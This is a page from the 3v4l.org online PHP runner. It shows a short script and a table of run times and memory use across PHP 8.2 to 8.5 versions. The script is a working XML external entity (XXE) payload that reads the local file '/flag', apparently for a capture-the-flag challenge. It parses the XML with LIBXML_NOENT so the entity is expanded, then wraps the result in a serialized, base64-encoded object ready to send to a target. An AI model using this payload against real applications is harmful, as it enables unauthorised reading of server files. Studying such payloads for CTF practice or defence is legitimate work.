3v4l.org

run code in 500+ PHP versions simultaneously
<?php class UserPref { public $theme; public $lang; } $xml = '<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <root>&xxe;</root>'; $obj = new UserPref(); $obj->theme = new SimpleXMLElement($xml, LIBXML_NOENT); $obj->lang = "zh"; echo base64_encode(serialize($obj)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.70.0380.00517.25
8.5.60.0350.00717.05
8.5.50.0240.00316.86
8.5.40.0290.00216.70
8.5.30.0160.00717.01
8.5.20.0200.00616.72
8.5.10.0160.00316.77
8.5.00.0050.00416.98
8.4.220.0060.00320.12
8.4.210.0140.00319.90
8.4.200.0170.00319.69
8.4.190.0130.00519.93
8.4.180.0130.00720.01
8.4.170.0170.00319.84
8.4.160.0170.00319.89
8.4.150.0150.00419.99
8.4.140.0150.00418.18
8.4.130.0170.00318.11
8.4.120.0240.00918.02
8.4.110.0250.00518.20
8.4.100.0220.00218.26
8.4.90.0210.00817.99
8.4.80.0270.00418.16
8.4.70.0170.00518.20
8.4.60.0130.00618.39
8.4.50.0240.00618.29
8.4.40.0130.00818.09
8.4.30.0180.00318.02
8.4.20.0190.00218.00
8.4.10.0160.00417.91
8.3.310.0150.00318.93
8.3.300.0140.00318.72
8.3.290.0200.00718.79
8.3.280.0120.00618.82
8.3.270.0150.00416.92
8.3.260.0170.00316.93
8.3.250.0150.00416.72
8.3.240.0170.00316.84
8.3.230.0130.00617.13
8.3.220.0150.00417.04
8.3.210.0160.00616.85
8.3.200.0180.00516.93
8.3.190.0220.00316.67
8.3.180.0150.00616.88
8.3.170.0140.00816.91
8.3.160.0190.00516.91
8.3.150.0190.00116.72
8.3.140.0160.00416.85
8.3.130.0140.00516.89
8.3.120.0160.00317.19
8.3.110.0130.00417.12
8.3.100.0140.00416.84
8.3.90.0150.00416.84
8.3.80.0140.00616.93
8.3.70.0120.00717.11
8.3.60.0170.00417.03
8.3.50.0130.00616.86
8.3.40.0140.00518.34
8.3.30.0130.00417.90
8.3.20.0110.00617.80
8.3.10.0140.00618.20
8.3.00.0170.00217.92
8.2.310.0170.00518.32

preferences:
54.05 ms | 810 KiB | 5 Q